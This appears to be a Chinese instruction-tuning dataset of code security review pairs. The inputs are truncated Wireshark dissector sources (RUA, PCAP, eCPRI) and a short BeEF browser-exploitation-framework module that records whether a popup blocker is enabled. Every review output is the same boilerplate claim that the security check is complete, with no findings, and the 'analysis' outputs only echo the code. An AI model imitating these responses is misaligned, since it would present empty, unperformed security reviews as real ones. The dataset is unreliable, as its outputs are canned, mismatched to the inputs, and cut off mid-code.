Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-rua-template.c
 * Routines for UMTS Home Node B RANAP User Adaptation (RUA) packet dissection
 * Copyright 2010 Neil Piercy, ip.access Limited <Neil.Piercy@ipaccess.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref: 3GPP TS 25.468 version 8.1.0 Release 8
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/sctpppids.h>
#include <epan/asn1.h>
#include <epan/prefs.h>

#include "packet-per.h"

#ifdef _MSC_VER
/* disable: "warning C4146: unary minus operator applied to unsigned type, result still unsigned" */
#pragma warning(disable:4146)
#endif

#define PNAME  "UTRAN Iuh interface RUA signalling"
#define PSNAME "RUA"
#define PFNAME "rua"
/* Dissector to use SCTP PPID 19 or a configured SCTP port. IANA assigned port = 29169*/
#define SCTP_PORT_RUA              29169

void proto_register_rua(void);

#include "packet-rua-val.h"

/* Initialize the protocol and registered fields */
static int proto_rua = -1;

#include "packet-rua-hf.c"

/* Initialize the subtree pointers */
static int ett_rua = -1;

 /* initialise sub-dissector handles */
 static dissector_handle_t ranap_handle = NULL;

#include "packet-rua-ett.c"

/* Global variables */
static guint32 ProcedureCode;
static guint32 ProtocolIE_ID;

/* Dissector tables */
static dissector_table_t rua_ies_dissector_table;
static dissector_table_t rua_extension_dissector_table;
static dissector_table_t rua_proc_imsg_dissector_table;
static dissector_table_t rua_proc_sout_dissector_table;
static dissector_table_t rua_proc_uout_dissector_table;

static dissector_handle_t rua_handle;

static int dissect_ProtocolIEFieldValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_ProtocolExtensionFieldExtensionValue(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *);
static int dissect_InitiatingMessageValue(tvbuff_t *tvb, packet_info *pinfo, proto...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_popup_blocker < BeEF::Core::Command
  def post_execute
    content = {}
    content['popup_blocker_enabled'] = @datastore['popup_blocker_enabled']
    save content
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_popup_blocker < BeEF::Core::Command
  def post_execute
    content = {}
    content['popup_blocker_enabled'] = @datastore['popup_blocker_enabled']
    save content
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* file-pcap.c
 * Routines for PCAP File Format
 * http://www.tcpdump.org/manpages/pcap-savefile.5.html
 *
 * Copyright 2015, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/exceptions.h>
#include <epan/show_exception.h>

#include "packet-pcap_pktdata.h"

static int proto_pcap = -1;

static dissector_handle_t pcap_pktdata_handle;

static int hf_pcap_header = -1;
static int hf_pcap_header_magic_number = -1;
static int hf_pcap_header_version_major = -1;
static int hf_pcap_header_version_minor = -1;
static int hf_pcap_header_this_zone = -1;
static int hf_pcap_header_sigfigs = -1;
static int hf_pcap_header_snapshot_length = -1;
static int hf_pcap_header_link_type = -1;
static int hf_pcap_packet = -1;
static int hf_pcap_packet_timestamp = -1;
static int hf_pcap_packet_timestamp_sec = -1;
static int hf_pcap_packet_timestamp_usec = -1;
static int hf_pcap_packet_captured_length = -1;
static int hf_pcap_packet_original_length = -1;
static int hf_pcap_packet_data = -1;

static expert_field ei_pcap_capt_larger_than_orig = EI_INIT;
static expert_field ei_pcap_capt_larger_than_snap = EI_INIT;

static gint ett_pcap = -1;
static gint ett_pcap_header = -1;
static gint ett_pcap_packet = -1;
static gint ett_pcap_packet_data = -1;
static gint ett_pcap_timestamp = -1;

static gboolean pref_dissect_next_layer = FALSE;

void proto_register_file_pcap(void);
void proto_reg_handoff_file_pcap(void);

#define MAGIC_NUMBER_SIZE    4

static int
dissect_pcap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
    static const guint8 pcap_big_endian_magic[MAGIC_NUMBER_SIZE] = {
        0xa1, 0xb2, 0xc3, 0xd4
    };
    static const guint8 pcap_little_endian_magic[MAGIC_NUMBER_SIZE] = {
        0xd4, 0xc3, 0xb2, 0...


Instruction: 检查这段代码是否存在安全问题

Input:
/* file-pcap.c
 * Routines for PCAP File Format
 * http://www.tcpdump.org/manpages/pcap-savefile.5.html
 *
 * Copyright 2015, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/exceptions.h>
#include <epan/show_exception.h>

#include "packet-pcap_pktdata.h"

static int proto_pcap = -1;

static dissector_handle_t pcap_pktdata_handle;

static int hf_pcap_header = -1;
static int hf_pcap_header_magic_number = -1;
static int hf_pcap_header_version_major = -1;
static int hf_pcap_header_version_minor = -1;
static int hf_pcap_header_this_zone = -1;
static int hf_pcap_header_sigfigs = -1;
static int hf_pcap_header_snapshot_length = -1;
static int hf_pcap_header_link_type = -1;
static int hf_pcap_packet = -1;
static int hf_pcap_packet_timestamp = -1;
static int hf_pcap_packet_timestamp_sec = -1;
static int hf_pcap_packet_timestamp_usec = -1;
static int hf_pcap_packet_captured_length = -1;
static int hf_pcap_packet_original_length = -1;
static int hf_pcap_packet_data = -1;

static expert_field ei_pcap_capt_larger_than_orig = EI_INIT;
static expert_field ei_pcap_capt_larger_than_snap = EI_INIT;

static gint ett_pcap = -1;
static gint ett_pcap_header = -1;
static gint ett_pcap_packet = -1;
static gint ett_pcap_packet_data = -1;
static gint ett_pcap_timestamp = -1;

static gboolean pref_dissect_next_layer = FALSE;

void proto_register_file_pcap(void);
void proto_reg_handoff_file_pcap(void);

#define MAGIC_NUMBER_SIZE    4

static int
dissect_pcap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
    static const guint8 pcap_big_endian_magic[MAGIC_NUMBER_SIZE] = {
        0xa1, 0xb2, 0xc3, 0xd4
    };
    static const guint8 pcap_little_endian_magic[MAGIC_NUMBER_SIZE] = {
        0xd4, 0xc3, 0xb2, 0...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ecpri.c
 * Routines for eCPRI dissection
 * Copyright 2019, Maximilian Kohler <maximilian.kohler@viavisolutions.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * ------------------------------------------------------------------------------------------------
 * eCPRI Transport Network V1.2 -- Specifications
 * http://www.cpri.info/downloads/Requirements_for_the_eCPRI_Transport_Network_V1_2_2018_06_25.pdf
 * ------------------------------------------------------------------------------------------------
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/etypes.h>

/**************************************************************************************************/
/* Definition for eCPRI lengths                                                                   */
/**************************************************************************************************/
/* eCPRI Common Header (4 Bytes) */
#define ECPRI_HEADER_LENGTH                         4
/* Message Type Length */
#define ECPRI_MSG_TYPE_0_1_PAYLOAD_MIN_LENGTH       4
#define ECPRI_MSG_TYPE_2_PAYLOAD_MIN_LENGTH         4
#define ECPRI_MSG_TYPE_3_PAYLOAD_MIN_LENGTH         8
#define ECPRI_MSG_TYPE_4_PAYLOAD_MIN_LENGTH        12
#define ECPRI_MSG_TYPE_5_PAYLOAD_MIN_LENGTH        20
#define ECPRI_MSG_TYPE_6_PAYLOAD_MIN_LENGTH         3
#define ECPRI_MSG_TYPE_7_PAYLOAD_MIN_LENGTH         4
#define ECPRI_MSG_TYPE_7_ELEMENT_SIZE               8

/**************************************************************************************************/
/* Definition for Action Types in Message Type 5: One-way Delay Measurement                       */
/**************************************************************************************************/
#define ECPRI_MSG_TYPE_5_REQ                    0x00
#define ECPRI_MSG_TYPE_5...